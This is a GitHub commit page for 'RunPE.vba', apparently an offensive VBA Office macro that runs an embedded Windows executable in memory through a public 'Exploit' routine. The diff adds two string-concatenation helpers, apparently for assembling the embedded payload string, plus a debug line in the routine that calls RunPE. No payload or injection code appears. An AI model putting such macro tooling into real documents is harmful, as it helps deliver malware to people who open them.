Skip to content
This repository has been archived by the owner on Sep 21, 2024. It is now read-only.

Commit

Permalink
Add concat functions to the macro
Browse files Browse the repository at this point in the history
  • Loading branch information
itm4n authored Oct 14, 2018
1 parent 2c23fa3 commit 7723add
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions RunPE.vba
Original file line number Diff line number Diff line change
Expand Up @@ -443,6 +443,28 @@ Private Function StringToByteArray(strContent As String) As Byte()
StringToByteArray = baContent
End Function

' --------------------------------------------------------------------------------
' Method: A
' Desc: Append a Char to a String.
' Arguments: strA - Input String. E.g.: "AAA"
' bChar - Input Char as a Byte. E.g.: 66 or &H42
' Returns: The concatenation of the String and the Char. E.g.: "AAAB"
' --------------------------------------------------------------------------------
Private Function A(strA As String, bChar As Byte) As String
A = strA & Chr(bChar)
End Function

' --------------------------------------------------------------------------------
' Method: B
' Desc: Append a String to another String.
' Arguments: strA - Input String 1. E.g.: "AAAA"
' strB - Input String 2. E.g.: "BBBB"
' Returns: The concatenation of the two Strings. E.g.: "AAAABBBB"
' --------------------------------------------------------------------------------
Private Function B(strA As String, strB As String) As String
B = strA + strB
End Function


' ================================================================================
' ~~~ EMBEDDED PE ~~~
Expand Down Expand Up @@ -716,9 +738,11 @@ Public Sub Exploit()
baFileContent = FileToByteArray(strSrcFile)
Call RunPE(baFileContent, strArguments)
Else
Debug.Print ("[+] Source file: embedded PE")
baFileContent = StringToByteArray(strPE)
Call RunPE(baFileContent, strArguments)
End If

End Sub


0 comments on commit 7723add

Please sign in to comment.